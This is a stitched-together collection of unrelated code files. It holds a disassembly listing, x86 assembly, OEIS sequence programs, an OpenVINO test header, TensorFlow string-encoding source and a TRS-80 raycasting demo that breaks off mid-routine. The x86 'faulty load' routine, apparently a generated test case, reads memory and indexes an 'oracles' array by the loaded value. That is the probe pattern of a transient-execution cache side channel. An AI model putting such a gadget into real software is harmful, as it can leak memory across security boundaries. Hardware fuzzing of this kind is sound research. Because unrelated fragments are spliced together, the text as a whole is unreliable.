0x02FC (0x0005F8) 0x2935- f:00024 d: 309 | OR[309] = A
0x02FD (0x0005FA) 0x2124- f:00020 d: 292 | A = OR[292]
0x02FE (0x0005FC) 0x252C- f:00022 d: 300 | A = A + OR[300]
0x02FF (0x0005FE) 0x2936- f:00024 d: 310 | OR[310] = A
0x0300 (0x000600) 0x2118- f:00020 d: 280 | A = OR[280]
0x0301 (0x000602) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0302 (0x000604) 0x2937- f:00024 d: 311 | OR[311] = A
0x0303 (0x000606) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0304 (0x000608) 0x2938- f:00024 d: 312 | OR[312] = A
0x0305 (0x00060A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0306 (0x00060C) 0x2939- f:00024 d: 313 | OR[313] = A
0x0307 (0x00060E) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x0308 (0x000610) 0x5800- f:00054 d: 0 | B = A
0x0309 (0x000612) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x030A (0x000614) 0x7C09- f:00076 d: 9 | R = OR[9]
0x030B (0x000616) 0x0200- f:00001 d: 0 | EXIT
0x030C (0x000618) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x030D (0x00061A) 0x292A- f:00024 d: 298 | OR[298] = A
0x030E (0x00061C) 0x2118- f:00020 d: 280 | A = OR[280]
0x030F (0x00061E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0310 (0x000620) 0x2908- f:00024 d: 264 | OR[264] = A
0x0311 (0x000622) 0x2128- f:00020 d: 296 | A = OR[296]
0x0312 (0x000624) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0313 (0x000626) 0x2118- f:00020 d: 280 | A = OR[280]
0x0314 (0x000628) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0315 (0x00062A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0316 (0x00062C) 0x212A- f:00020 d: 298 | A = OR[298]
0x0317 (0x00062E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0318 (0x000630) 0x2118- f:00020 d: 280 | A = OR[280]
0x0319 (0x000632) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x031A (0x000634) 0x2908- f:00024 d: 264 | OR[264] = A
0x031B (0x000636) 0x2125- f:00020 d: 293 | A = OR[293]
0x031C (0x000638) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x031D (0x00063A) 0x2118- f:00020 d: 280 | A = OR[280]
0x031E (0x00063C) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x031F (0x00063E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0320 (0x000640) 0x211C- f:00020 d: 284 | A = OR[284]
0x0321 (0x000642) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0322 (0x000644) 0x2118- f:00020 d: 280 | A = OR[280]
0x0323 (0x000646) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0324 (0x000648) 0x2908- f:00024 d: 264 | OR[264] = A
0x0325 (0x00064A) 0x2133- f:00020 d: 307 | A = OR[307]
0x0326 (0x00064C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0327 (0x00064E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0328 (0x000650) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x0329 (0x000652) 0x2908- f:00024 d: 264 | OR[264] = A
0x032A (0x000654) 0x212C- f:00020 d: 300 | A = OR[300]
0x032B (0x000656) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x032C (0x000658) 0x212E- f:00020 d: 302 | A = OR[302]
0x032D (0x00065A) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x032E (0x00065C) 0x292E- f:00024 d: 302 | OR[302] = A
0x032F (0x00065E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0330 (0x000660) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0331 (0x000662) 0x2908- f:00024 d: 264 | OR[264] = A
0x0332 (0x000664) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0333 (0x000666) 0x0E03- f:00007 d: 3 | A = A << 3 (0x0003)
0x0334 (0x000668) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x0335 (0x00066A) 0x252E- f:00022 d: 302 | A = A + OR[302]
0x0336 (0x00066C) 0x0C06- f:00006 d: 6 | A = A >> 6 (0x0006)
0x0337 (0x00066E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0338 (0x000670) 0x2132- f:00020 d: 306 | A = OR[306]
0x0339 (0x000672) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x033A (0x000674) 0x2932- f:00024 d: 306 | OR[306] = A
0x033B (0x000676) 0x2118- f:00020 d: 280 | A = OR[280]
0x033C (0x000678) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x033D (0x00067A) 0x2908- f:00024 d: 264 | OR[264] = A
0x033E (0x00067C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x033F (0x00067E) 0x0E06- f:00007 d: 6 | A = A << 6 (0x0006)
0x0340 (0x000680) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x0341 (0x000682) 0x2532- f:00022 d: 306 | A = A + OR[306]
0x0342 (0x000684) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0343 (0x000686) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0344 (0x000688) 0x2118- f:00020 d: 280 | A = OR[280]
0x0345 (0x00068A) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x0346 (0x00068C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0347 (0x00068E) 0x2129- f:00020 d: 297 | A = OR[297]
0x0348 (0x000690) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0349 (0x000692) 0x2118- f:00020 d: 280 | A = OR[280]
0x034A (0x000694) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x034B (0x000696) 0x2908- f:00024 d: 264 | OR[264] = A
0x034C (0x000698) 0x2127- f:00020 d: 295 | A = OR[295]
0x034D (0x00069A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x034E (0x00069C) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x034F (0x00069E) 0x2934- f:00024 d: 308 | OR[308] = A
0x0350 (0x0006A0) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x0351 (0x0006A2) 0x5800- f:00054 d: 0 | B = A
0x0352 (0x0006A4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0353 (0x0006A6) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0354 (0x0006A8) 0x0000- f:00000 d: 0 | PASS
0x0355 (0x0006AA) 0x0000- f:00000 d: 0 | PASS
0x0356 (0x0006AC) 0x0000- f:00000 d: 0 | PASS
0x0357 (0x0006AE) 0x0000- f:00000 d: 0 | PASS
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x128d7, %r9
nop
add %r11, %r11
mov (%r9), %rsi
nop
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_A_ht+0xc92d, %rdi
xor %rbp, %rbp
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdx
nop
xor $63283, %rbp
lea addresses_UC_ht+0x1e4c3, %rdx
clflush (%rdx)
nop
nop
nop
nop
lfence
movb $0x61, (%rdx)
lfence
lea addresses_D_ht+0x223f, %rdx
nop
nop
nop
xor %rdi, %rdi
movw $0x6162, (%rdx)
nop
nop
nop
nop
nop
and $52753, %rbp
lea addresses_A_ht+0x1c67f, %rsi
lea addresses_D_ht+0x16ff, %rdi
nop
nop
nop
nop
cmp $33736, %r14
mov $43, %rcx
rep movsq
nop
nop
nop
and $51354, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rax
push %rcx
push %rsi
// Load
lea addresses_US+0x1eeff, %rcx
nop
xor $58642, %r11
mov (%rcx), %r8
nop
sub %r8, %r8
// Store
lea addresses_WC+0x47ff, %r12
sub $38388, %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm4
movups %xmm4, (%r12)
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_UC+0x15eff, %r12
nop
sub %rsi, %rsi
mov $0x5152535455565758, %r11
movq %r11, %xmm7
vmovups %ymm7, (%r12)
nop
dec %rsi
// Load
lea addresses_A+0x1573f, %r8
xor $8273, %rsi
mov (%r8), %ax
nop
nop
nop
nop
nop
inc %r15
// Store
mov $0x1ff, %r15
nop
nop
nop
nop
nop
cmp $17455, %rcx
mov $0x5152535455565758, %r12
movq %r12, %xmm2
movups %xmm2, (%r15)
nop
nop
nop
nop
nop
sub $39854, %rax
// Faulty Load
lea addresses_normal+0x182ff, %rax
nop
nop
nop
cmp $64148, %r15
mov (%rax), %r8
lea oracles, %r11
and $0xff, %r8
shlq $12, %r8
mov (%r11,%r8,1), %r8
pop %rsi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; A131572: a(0)=0 and a(1)=1, continued such that absolute values of 2nd differences equal the original sequence.
; 0,1,2,2,4,4,8,8,16,16,32,32,64,64,128,128,256,256,512,512,1024,1024,2048,2048,4096,4096,8192,8192,16384,16384,32768,32768,65536,65536,131072,131072,262144,262144,524288,524288,1048576,1048576,2097152,2097152,4194304,4194304,8388608,8388608,16777216,16777216,33554432,33554432,67108864,67108864,134217728,134217728,268435456,268435456,536870912,536870912,1073741824,1073741824,2147483648,2147483648,4294967296,4294967296,8589934592,8589934592,17179869184,17179869184,34359738368,34359738368,68719476736,68719476736,137438953472,137438953472,274877906944,274877906944,549755813888,549755813888,1099511627776,1099511627776,2199023255552,2199023255552,4398046511104,4398046511104,8796093022208,8796093022208,17592186044416,17592186044416,35184372088832,35184372088832,70368744177664,70368744177664,140737488355328,140737488355328,281474976710656,281474976710656,562949953421312,562949953421312
mov $2,$0
div $2,2
lpb $0
mov $0,$2
mov $3,2
pow $3,$2
lpe
add $1,$3
mov $0,$1
|
; A167682: Expansion of (1 - 2*x + 5*x^2) / (1 - 3*x)^2.
; 1,4,20,84,324,1188,4212,14580,49572,166212,551124,1810836,5904900,19131876,61647156,197696052,631351908,2008846980,6370914708,20145865428,63536960196,199908972324,627621192180,1966546402164,6150687683364,19205208480708,59875061733972,186403494077460,579545408859012,1799641006456932,5581937359010484
mov $1,$0
mov $2,1
lpb $0
add $2,$1
add $1,$0
add $0,$2
trn $3,$2
add $3,$2
sub $0,$3
sub $0,1
trn $1,$3
add $1,$2
add $2,$3
lpe
mov $1,3
sub $2,1
add $1,$2
sub $1,2
|
// Copyright (C) 2020 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#pragma once
#include "shared_test_classes/subgraph/concat_multi_input.hpp"
namespace SubgraphTestsDefinitions {
TEST_P(ConcatMultiInput, CompareWithRefStridedSlice) {
GenerateStridedSliceModel();
Run();
};
TEST_P(ConcatMultiInput, CompareWithRefConstOnly) {
GenerateConstOnlyModel();
Run();
};
} // namespace SubgraphTestsDefinitions
|
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/platform/tensor_coding.h"
#include <vector>
#include "tensorflow/core/platform/coding.h"
#include "tensorflow/core/platform/protobuf.h"
#include "tensorflow/core/platform/strcat.h"
#include "tensorflow/core/platform/stringpiece.h"
#if defined(TENSORFLOW_PROTOBUF_USES_CORD)
#include "strings/cord_varint.h"
#endif // defined(TENSORFLOW_PROTOBUF_USES_CORD)
namespace tensorflow {
namespace port {
void AssignRefCounted(StringPiece src, core::RefCounted* obj, string* out) {
out->assign(src.data(), src.size());
}
void EncodeStringList(const tstring* strings, int64_t n, string* out) {
out->clear();
for (int i = 0; i < n; ++i) {
core::PutVarint32(out, strings[i].size());
}
for (int i = 0; i < n; ++i) {
out->append(strings[i]);
}
}
bool DecodeStringList(const string& src, tstring* strings, int64_t n) {
std::vector<uint32> sizes(n);
StringPiece reader(src);
int64_t tot = 0;
for (auto& v : sizes) {
if (!core::GetVarint32(&reader, &v)) return false;
tot += v;
}
if (tot != static_cast<int64_t>(reader.size())) {
return false;
}
tstring* data = strings;
for (int64_t i = 0; i < n; ++i, ++data) {
auto size = sizes[i];
if (size > reader.size()) {
return false;
}
data->assign(reader.data(), size);
reader.remove_prefix(size);
}
return true;
}
void CopyFromArray(string* s, const char* base, size_t bytes) {
s->assign(base, bytes);
}
class StringListEncoderImpl : public StringListEncoder {
public:
explicit StringListEncoderImpl(string* out) : out_(out) {}
~StringListEncoderImpl() override = default;
void Append(const protobuf::MessageLite& m) override {
core::PutVarint32(out_, m.ByteSizeLong());
tensorflow::string serialized_message;
m.AppendToString(&serialized_message);
strings::StrAppend(&rest_, serialized_message);
}
void Append(const string& s) override {
core::PutVarint32(out_, s.length());
strings::StrAppend(&rest_, s);
}
void Finalize() override { strings::StrAppend(out_, rest_); }
private:
string* out_;
string rest_;
};
class StringListDecoderImpl : public StringListDecoder {
public:
explicit StringListDecoderImpl(const string& in) : reader_(in) {}
~StringListDecoderImpl() override = default;
bool ReadSizes(std::vector<uint32>* sizes) override {
int64_t total = 0;
for (auto& size : *sizes) {
if (!core::GetVarint32(&reader_, &size)) return false;
total += size;
}
if (total != static_cast<int64_t>(reader_.size())) {
return false;
}
return true;
}
const char* Data(uint32 size) override {
const char* data = reader_.data();
reader_.remove_prefix(size);
return data;
}
private:
StringPiece reader_;
};
std::unique_ptr<StringListEncoder> NewStringListEncoder(string* out) {
return std::unique_ptr<StringListEncoder>(new StringListEncoderImpl(out));
}
std::unique_ptr<StringListDecoder> NewStringListDecoder(const string& in) {
return std::unique_ptr<StringListDecoder>(new StringListDecoderImpl(in));
}
#if defined(TENSORFLOW_PROTOBUF_USES_CORD)
void AssignRefCounted(StringPiece src, core::RefCounted* obj, absl::Cord* out) {
obj->Ref();
*out = absl::MakeCordFromExternal(src, [obj] { obj->Unref(); });
}
void EncodeStringList(const tstring* strings, int64_t n, absl::Cord* out) {
out->Clear();
for (int i = 0; i < n; ++i) {
::strings::CordAppendVarint(strings[i].size(), out);
}
for (int i = 0; i < n; ++i) {
out->Append(strings[i]);
}
}
bool DecodeStringList(const absl::Cord& src, string* strings, int64_t n) {
std::vector<uint32> sizes(n);
CordReader reader(src);
int64_t tot = 0;
for (auto& v : sizes) {
if (!::strings::CordReaderReadVarint(&reader, &v)) return false;
tot += v;
}
if (tot != reader.Available()) {
return false;
}
string* data = strings;
for (int i = 0; i < n; ++i, ++data) {
auto size = sizes[i];
if (size > reader.Available()) {
return false;
}
gtl::STLStringResizeUninitialized(data, size);
reader.ReadN(size, gtl::string_as_array(data));
}
return true;
}
bool DecodeStringList(const absl::Cord& src, tstring* strings, int64_t n) {
std::vector<uint32> sizes(n);
CordReader reader(src);
int64_t tot = 0;
for (auto& v : sizes) {
if (!::strings::CordReaderReadVarint(&reader, &v)) return false;
tot += v;
}
if (tot != reader.Available()) {
return false;
}
tstring* data = strings;
for (int i = 0; i < n; ++i, ++data) {
auto size = sizes[i];
if (size > reader.Available()) {
return false;
}
data->resize_uninitialized(size);
reader.ReadN(size, data->data());
}
return true;
}
void CopyFromArray(absl::Cord* c, const char* base, size_t bytes) {
c->CopyFrom(base, bytes);
}
class CordStringListEncoderImpl : public StringListEncoder {
public:
explicit CordStringListEncoderImpl(absl::Cord* out) : out_(out) {}
~CordStringListEncoderImpl() override = default;
void Append(const protobuf::MessageLite& m) override {
::strings::CordAppendVarint(m.ByteSizeLong(), out_);
m.AppendToString(&rest_);
}
void Append(const string& s) override {
::strings::CordAppendVarint(s.length(), out_);
rest_.append(s.data(), s.size());
}
void Finalize() override { out_->Append(rest_); }
private:
absl::Cord* out_;
string rest_;
};
class CordStringListDecoderImpl : public StringListDecoder {
public:
explicit CordStringListDecoderImpl(const absl::Cord& in) : reader_(in) {}
~CordStringListDecoderImpl() override = default;
bool ReadSizes(std::vector<uint32>* sizes) override {
int64_t total = 0;
for (auto& size : *sizes) {
if (!::strings::CordReaderReadVarint(&reader_, &size)) return false;
total += size;
}
if (total != static_cast<int64_t>(reader_.Available())) {
return false;
}
return true;
}
const char* Data(uint32 size) override {
tmp_.resize(size);
reader_.ReadN(size, tmp_.data());
return tmp_.data();
}
private:
CordReader reader_;
std::vector<char> tmp_;
};
std::unique_ptr<StringListEncoder> NewStringListEncoder(absl::Cord* out) {
return std::unique_ptr<StringListEncoder>(new CordStringListEncoderImpl(out));
}
std::unique_ptr<StringListDecoder> NewStringListDecoder(const absl::Cord& in) {
return std::unique_ptr<StringListDecoder>(new CordStringListDecoderImpl(in));
}
#endif // defined(TENSORFLOW_PROTOBUF_USES_CORD)
} // namespace port
} // namespace tensorflow
|
; A204690: n^n (mod 5).
; 1,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1
mov $1,1
mov $2,$0
lpb $0
sub $0,1
mul $1,$2
mod $1,5
lpe
|
; A273481: First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 737", based on the 5-celled von Neumann neighborhood.
; 3,21,24,32,40,48,56,64,72,80,88,96,104,112,120,128,136,144,152,160,168,176,184,192,200,208,216,224,232,240,248,256,264,272,280,288,296,304,312,320,328,336,344,352,360,368,376,384,392,400,408,416,424,432,440,448,456,464,472,480,488,496,504,512,520,528,536,544,552,560,568,576,584,592,600,608,616,624,632,640,648,656,664,672,680,688,696,704,712,720,728,736,744,752,760,768,776,784,792,800
mov $4,$0
lpb $0
add $3,2
mul $4,4
add $2,$4
mov $5,2
add $5,$2
add $5,$4
sub $5,10
trn $5,5
add $5,$3
add $2,$5
div $0,$2
mov $1,16
add $1,$5
lpe
add $1,3
mov $0,$1
|
; A027412: a(n) = 2*a(n-1) + (n-2)*a(n-2).
; Submitted by Christian Krause
; 1,2,4,10,28,86,284,998,3700,14386,58372,246218,1076156,4860710,22635292,108459814,533813716,2694524642,13930068740,73667056394,398075350108,2195824771702,12353156545564,70818633296870,413406710596148,2455641987020306,14833045028348164,91057139732203978,567773450201460220,3594089673172427846,23085835951985741852,150400272425971891238,993375623411516038036,6649159692028160704450,45086339333224834626052,309594948503378972498954,2152125434336402322283676,15140074066291068682030742
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $2,$0
add $3,$1
add $1,$2
add $3,1
lpe
mov $0,$3
|
; __ __ _ _ __
; | \/ | | | | | /_ |
; | \ / | ___ __| | ___| | | |
; | |\/| |/ _ \ / _` |/ _ \ | | |
; | | | | (_) | (_| | __/ | | |
; |_| |_|\___/ \__,_|\___|_| |_|
;
; _____ _ _
; | __ \ | | (_)
; | |__) |__ _ _ _ ___ __ _ ___| |_ _ _ __ __ _
; | _ // _` | | | |/ __/ _` / __| __| | '_ \ / _` |
; | | \ \ (_| | |_| | (_| (_| \__ \ |_| | | | | (_| |
; |_| \_\__,_|\__, |\___\__,_|___/\__|_|_| |_|\__, |
; __/ | __/ |
; |___/ |___/
; _____
; | __ \
; | | | | ___ _ __ ___ ___
; | | | |/ _ \ '_ ` _ \ / _ \
; | |__| | __/ | | | | | (_) |
; |_____/ \___|_| |_| |_|\___/
;
; Author: Tim Halloran
; From the tutorial at https://lodev.org/cgtutor/raycasting.html
org $4a00
import 'lib/barden_move.asm'
import 'lib/barden_fill.asm'
import 'lib/barden_mul16.asm'
import 'lib/barden_hexcv.asm'
; Address of the start of video memory.
screen equ $3c00
; Our video back buffer: 11 lines 56 characters wide.
; We'll center this on the screen with 4-character margin.
buff_line_width equ 56
buff01 defs buff_line_width
buff02 defs buff_line_width
buff03 defs buff_line_width
buff04 defs buff_line_width
buff05 defs buff_line_width
buff06 defs buff_line_width
buff07 defs buff_line_width
buff08 defs buff_line_width
buff09 defs buff_line_width
buff10 defs buff_line_width
buff11 defs buff_line_width
; To express the player direction (or angle) in one byte (unsigned) we
; adopt a circle with 256 divisions: (0,256].
; 0
; - | -
; |
; 192 -----+----- 64
; |
; - | -
; 128
player_dir defb 110
; Our world is 24x24 (see world.asm).
player_x defw 16
player_y defw 16
frames_drawn defw 0
demo_mode defb 1 ; 1 = yes, 0 = no.
use_vblank defb 1 ; 1 = yes, 0 = no.
title_txt defb 'TRS-80 MODEL 1 RAYCASTING DEMONSTRATION'
title_len equ $-title_txt
frames_txt defb 'FRAMES DRAWN'
frames_len equ $-frames_txt
pos_txt defb 'PLAYER'
pos_len equ $-pos_txt
dir_txt defb 'DIRECTION'
dir_len equ $-dir_txt
comma equ ','
cast_col defb 0
cast_camera_dir defb 0
buff_addr defw 0
cast_dir defb 0
wall_hh defb 0
wall_is_solid defb 0
save_sp defw 0
; Our raycasting modules.
import 'delta_dist.asm'
import 'dist_to_hh.asm'
import 'draw_walls.asm'
import 'line_to_screen.asm'
import 'world.asm'
import 'cast.asm' ; Depends upon the above includes
line_to_video macro src, dst
; A line is 56 bytes.
phillips_14byte_move src, dst
phillips_14byte_move src+14, dst+14
phillips_14byte_move src+28, dst+28
phillips_14byte_move src+42, dst+42
endm
; ---------------------------------------
; Setup the static portion of the screen.
; ---------------------------------------
main: di
ld sp,$6000
; Clear the screen
ld d,$80
ld hl,screen
ld bc,64*16
call barden_fill
; Frame the raycasting window on the screen.
ld d,$b0 ; Top horizontal line
ld hl,screen+3
ld bc,58
call barden_fill
ld d,$83 ; Bottom horizontal line
ld hl,screen+64*12+3
ld bc,58
call barden_fill
ld a,$bf
ld (screen+64*1+3),a ; Left vertical line
ld (screen+64*2+3),a
ld (screen+64*3+3),a
ld (screen+64*4+3),a
ld (screen+64*5+3),a
ld (screen+64*6+3),a
ld (screen+64*7+3),a
ld (screen+64*8+3),a
ld (screen+64*9+3),a
ld (screen+64*10+3),a
ld (screen+64*11+3),a
ld (screen+64*1+60),a ; Right vertical line
ld (screen+64*2+60),a
ld (screen+64*3+60),a
ld (screen+64*4+60),a
ld (screen+64*5+60),a
ld (screen+64*6+60),a
ld (screen+64*7+60),a
ld (screen+64*8+60),a
ld (screen+64*9+60),a
ld (screen+64*10+60),a
ld (screen+64*11+60),a
; Show the title on the screen.
ld hl,title_txt
ld de,screen+64*13
ld bc,title_len
call barden_move
; Show 'FRAMES' on the screen.
ld hl,frames_txt
ld de,screen+64*14
ld bc,frames_len
call barden_move
; Show 'PLAYER' on the screen.
ld hl,pos_txt
ld de,screen+64*14-12
ld bc,pos_len
call barden_move
ld a,comma
ld (screen+64*14-3),a
; Show 'DIRECTION' on the screen.
ld hl,dir_txt
ld de,screen+64*15-12
ld bc,dir_len
call barden_move
; Ensure the bit bit order for the map is corrent.
call prepare_world
; ----------------------------
; Clear the video back buffer.
; ----------------------------
game_loop:
ld (spsv),sp
ld sp,buff01+buff_line_width*11
ld de,$8080
rept buff_line_width*11/2
push de
endm
ld sp,0
spsv equ $-2
; ------------------------------
; Check for input from the user.
; ------------------------------
ld a,($3840) ; A keyboard row
ld c,a ; ...goes into c
txt_larrow: bit 5,c ; Check bit 5: [<-]
jr z,tst_rarrow
; User is pressing the left-arrow key (<-) so we change the
; player's direction one to the left.
ld a,(player_dir)
dec a
dec a
dec a
